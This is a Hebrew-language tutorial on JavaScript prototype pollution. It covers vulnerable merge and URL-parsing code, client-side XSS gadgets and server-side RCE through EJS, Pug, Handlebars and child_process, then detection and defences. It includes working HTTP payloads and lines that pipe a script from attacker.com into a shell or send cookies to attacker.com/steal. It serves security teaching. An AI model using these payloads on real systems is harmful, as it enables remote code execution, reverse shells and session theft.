לדלג לתוכן

זיהום פרוטוטייפ - Prototype Pollution

שרשרת הפרוטוטייפ ב-JavaScript

ב-JavaScript, כל אובייקט יורש מאובייקט אב דרך שרשרת הפרוטוטייפ (prototype chain). כאשר ניגשים לתכונה של אובייקט, המנוע מחפש אותה קודם באובייקט עצמו, ואם לא נמצאה - עולה בשרשרת הפרוטוטייפ עד ל-Object.prototype.

let obj = {};
console.log(obj.toString); // נמצא ב-Object.prototype

// שרשרת הפרוטוטייפ
// obj -> Object.prototype -> null

let arr = [];
// arr -> Array.prototype -> Object.prototype -> null

הגישה ל-prototype של אובייקט:

let obj = {};

// שלוש דרכים לגשת לפרוטוטייפ
obj.__proto__                    // הדרך הישנה
Object.getPrototypeOf(obj)       // הדרך המודרנית
obj.constructor.prototype        // דרך ה-constructor

מהו זיהום פרוטוטייפ - Prototype Pollution

זיהום פרוטוטייפ מתרחש כאשר תוקף מצליח לשנות את Object.prototype, ובכך משפיע על כל האובייקטים במערכת:

// זיהום בסיסי
let obj = {};
obj.__proto__.isAdmin = true;

// עכשיו כל אובייקט חדש "יורש" את isAdmin
let user = {};
console.log(user.isAdmin); // true!

let config = {};
console.log(config.isAdmin); // true!

זיהום פרוטוטייפ בצד הלקוח

זיהום דרך פרמטרי URL

אתרים רבים מפרסרים פרמטרים מה-URL לתוך אובייקט:

// פונקציה פגיעה לפרסור פרמטרים
function parseParams(url) {
  let params = new URLSearchParams(url);
  let result = {};
  for (let [key, value] of params) {
    setValue(result, key, value);
  }
  return result;
}

function setValue(obj, key, value) {
  let keys = key.split('.');
  let current = obj;
  for (let i = 0; i < keys.length - 1; i++) {
    if (!current[keys[i]]) current[keys[i]] = {};
    current = current[keys[i]];
  }
  current[keys[keys.length - 1]] = value;
}

נתיב תקיפה:

https://example.com/page?__proto__.isAdmin=true
https://example.com/page?constructor.prototype.isAdmin=true

זיהום דרך JSON.parse עם פעולות מיזוג

// פונקציית merge פגיעה
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// JSON שנשלח על ידי התוקף
let maliciousJSON = '{"__proto__": {"isAdmin": true}}';
let parsed = JSON.parse(maliciousJSON);

let config = {};
merge(config, parsed);

// עכשיו כל אובייקט מזוהם
let user = {};
console.log(user.isAdmin); // true

זיהום דרך פונקציות deep merge/extend/clone

ספריות רבות מכילות פונקציות מיזוג עמוק פגיעות:

// lodash (גרסאות ישנות) - _.merge, _.defaultsDeep
const _ = require('lodash');
let target = {};
_.merge(target, JSON.parse('{"__proto__": {"polluted": true}}'));

// jQuery (גרסאות ישנות) - $.extend
$.extend(true, {}, JSON.parse('{"__proto__": {"polluted": true}}'));

// אימות הזיהום
let test = {};
console.log(test.polluted); // true

מציאת gadgets בספריות

gadget הוא קוד קיים שמשתמש בתכונה מפרוטוטייפ בצורה שניתן לנצל:

// gadget ב-jQuery - מוסיף תכונות HTML מ-Object.prototype
// אם innerHTML מוגדר ב-Object.prototype, jQuery ישתמש בו
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';

// gadget ב-lodash template
Object.prototype.sourceURL = '\n;alert(1)//';

// gadget נפוץ - data-* attributes
Object.prototype['data-template'] = '<img src=x onerror=alert(1)>';

זיהום פרוטוטייפ ל-XSS

שרשור מלא מזיהום ל-XSS:

// שלב 1: זיהום דרך URL
// https://example.com/page?__proto__[transport_url]=data:,alert(1)//

// שלב 2: הקוד הפגיע בדף
let config = {};
// config.transport_url לא מוגדר, אז JavaScript עולה בשרשרת הפרוטוטייפ
let scriptUrl = config.transport_url || '/default/transport.js';

// שלב 3: טעינת הסקריפט
let s = document.createElement('script');
s.src = scriptUrl; // data:,alert(1)//
document.body.appendChild(s);

דוגמה נוספת עם innerHTML:

// זיהום
// ?__proto__[innerText]=<img/src/onerror=alert(1)>

// gadget - קוד שקורא תכונה ומשתמש בה
function renderWidget(element, options) {
  let html = options.template || element.innerText;
  element.innerHTML = html; // XSS!
}

זיהום פרוטוטייפ בצד השרת - Node.js

זיהום דרך פרסור JSON body

// שרת Express עם פונקציית merge פגיעה
const express = require('express');
const app = express();
app.use(express.json());

function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

app.post('/api/update', (req, res) => {
  let settings = {};
  merge(settings, req.body); // פגיע!
  res.json({ status: 'updated' });
});

בקשת תקיפה:

POST /api/update HTTP/1.1
Content-Type: application/json

{
  "__proto__": {
    "isAdmin": true
  }
}

דריסת קוד סטטוס - Status Code Override

טכניקה לזיהוי זיהום פרוטוטייפ בצד שרת:

POST /api/update HTTP/1.1
Content-Type: application/json

{
  "__proto__": {
    "status": 555
  }
}

אם Express משתמש ב-res.status(obj.status || 200) ו-obj.status לא מוגדר, הוא יקרא מהפרוטוטייפ ויחזיר סטטוס 555.

דריסת JSON spaces לזיהוי

POST /api/update HTTP/1.1
Content-Type: application/json

{
  "__proto__": {
    "json spaces": 10
  }
}

אם Express משתמש ב-res.json(), הוא ישתמש ב-json spaces מהפרוטוטייפ וה-JSON בתגובה יהיה עם 10 רווחים במקום ברירת המחדל.

דריסת charset

POST /api/update HTTP/1.1
Content-Type: application/json

{
  "__proto__": {
    "content-type": "application/json; charset=utf-7"
  }
}

זיהום פרוטוטייפ ל-RCE

הזרקת משתני סביבה דרך child_process

// זיהום
Object.prototype.env = {
  NODE_OPTIONS: '--require=/proc/self/environ'
};
Object.prototype.shell = true;

// כאשר הקוד מריץ child_process
const { execSync } = require('child_process');
execSync('ls'); // משתמש ב-env ו-shell מהפרוטוטייפ

תקיפה מלאה:

POST /api/update HTTP/1.1
Content-Type: application/json

{
  "__proto__": {
    "shell": "node",
    "NODE_OPTIONS": "--require /proc/self/cmdline"
  }
}

הזרקה דרך child_process.execSync/spawn

// זיהום
Object.prototype.shell = true;
Object.prototype.argv0 = "node -e require('child_process').execSync('curl attacker.com/shell|sh')";

// או
Object.prototype.env = {
  "BASH_FUNC_echo%%": "() { id; }"
};

gadgets במנועי תבניות - Template Engines

EJS (Embedded JavaScript)

POST /api/update HTTP/1.1
Content-Type: application/json

{
  "__proto__": {
    "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"
  }
}

כאשר EJS מרנדר תבנית, הוא משתמש ב-outputFunctionName ומזריק את הקוד:

// הקוד שנוצר בתוך EJS
var x;process.mainModule.require('child_process').execSync('id');s = '';
// ... RCE!

Pug

POST /api/update HTTP/1.1
Content-Type: application/json

{
  "__proto__": {
    "block": {
      "type": "Text",
      "val": "x]});process.mainModule.require('child_process').execSync('id');//"
    }
  }
}

Handlebars

POST /api/update HTTP/1.1
Content-Type: application/json

{
  "__proto__": {
    "main": "\n} };\nprocess.mainModule.require('child_process').execSync('id');\n//",
    "layout": true
  }
}

פונקציית מיזוג פגיעה - ניתוח מפורט

// פונקציה פגיעה
function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function deepMerge(target, source) {
  for (let key in source) {
    // הבעיה: לא בודקים אם key הוא __proto__ או constructor
    if (isObject(source[key])) {
      if (!isObject(target[key])) {
        target[key] = {};
      }
      deepMerge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// ניצול
let malicious = JSON.parse('{"__proto__": {"polluted": "yes"}}');
let obj = {};
deepMerge(obj, malicious);

console.log({}.polluted); // "yes" - כל האובייקטים מזוהמים!

שרשרת ניצול מלאה - צד לקוח

// שלב 1: מציאת injection point
// URL: https://vulnerable.com/page?__proto__[transport_url]=//attacker.com/evil.js

// שלב 2: הקוד הפגיע מפרסר את ה-URL
function getConfig() {
  let params = new URLSearchParams(location.search);
  let config = {};
  for (let [key, value] of params) {
    let keys = key.replace(/\]/g, '').split('[');
    let current = config;
    for (let i = 0; i < keys.length - 1; i++) {
      if (!current[keys[i]]) current[keys[i]] = {};
      current = current[keys[i]];
    }
    current[keys[keys.length - 1]] = value;
  }
  return config;
}

// שלב 3: gadget שטוען סקריפט
function initAnalytics(config) {
  let url = config.analyticsUrl; // undefined, עולה לפרוטוטייפ
  if (url) {
    let script = document.createElement('script');
    script.src = url;
    document.head.appendChild(script);
  }
}

// שלב 4: evil.js בשרת התוקף
// fetch('https://attacker.com/steal?cookie=' + document.cookie)

שרשרת ניצול מלאה - צד שרת

// שלב 1: מציאת endpoint עם merge
// POST /api/profile

// שלב 2: זיהום הפרוטוטייפ
// {"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('curl attacker.com/shell.sh|bash');s"}}

// שלב 3: טריגר - כאשר EJS מרנדר דף
// GET /dashboard -> EJS render -> RCE

// שלב 4: reverse shell מגיע לשרת התוקף

טכניקות זיהוי - Detection

בדיקת property descriptors

// בדיקה האם הפרוטוטייפ זוהם
function checkPollution() {
  let testObj = {};
  let suspicious = [];

  for (let key in testObj) {
    if (testObj.hasOwnProperty(key) === false) {
      // תכונה שלא שייכת לאובייקט עצמו - חשודה
      if (!['toString', 'valueOf', 'hasOwnProperty', 'constructor',
           'isPrototypeOf', 'propertyIsEnumerable', 'toLocaleString',
           '__defineGetter__', '__defineSetter__', '__lookupGetter__',
           '__lookupSetter__', '__proto__'].includes(key)) {
        suspicious.push(key);
      }
    }
  }

  return suspicious;
}

console.log(checkPollution()); // ['isAdmin', 'polluted', ...]

סריקה אוטומטית

// סקריפט לבדיקת זיהום פרוטוטייפ דרך URL
async function testPrototypePollution(baseUrl, paramFormats) {
  let formats = paramFormats || [
    '__proto__[test]=polluted',
    '__proto__.test=polluted',
    'constructor[prototype][test]=polluted',
    'constructor.prototype.test=polluted'
  ];

  for (let format of formats) {
    let url = `${baseUrl}?${format}`;
    console.log(`[*] Testing: ${url}`);
    // שלח בקשה ובדוק אם הפרוטוטייפ זוהם
  }
}

הגנה

שימוש ב-Object.create(null)

// אובייקט ללא פרוטוטייפ - חסין לזיהום
let safeObj = Object.create(null);
console.log(safeObj.__proto__); // undefined

הקפאת Object.prototype

// מונע שינויים ב-Object.prototype
Object.freeze(Object.prototype);

let obj = {};
obj.__proto__.polluted = true;
console.log({}.polluted); // undefined - ההקפאה מנעה את הזיהום

ולידציית קלט

// פונקציית merge בטוחה
function safeMerge(target, source) {
  for (let key of Object.keys(source)) {
    // חסימת מפתחות מסוכנים
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      continue;
    }

    if (typeof source[key] === 'object' && source[key] !== null && !Array.isArray(source[key])) {
      if (typeof target[key] !== 'object') {
        target[key] = {};
      }
      safeMerge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

שימוש ב-Map במקום אובייקט רגיל

// Map לא פגיע לזיהום פרוטוטייפ
let config = new Map();
config.set('isAdmin', false);
console.log(config.get('isAdmin')); // false - לא מושפע מפרוטוטייפ

סיכום

זיהום פרוטוטייפ הוא חולשה ייחודית ל-JavaScript שמנצלת את מנגנון הירושה של השפה. בצד הלקוח, ניתן להגיע ל-XSS דרך gadgets ב-DOM. בצד השרת ב-Node.js, ניתן להגיע ל-RCE דרך מנועי תבניות ו-child_process. ההגנה דורשת שילוב של ולידציית קלט, שימוש ב-Object.create(null), והקפאת Object.prototype.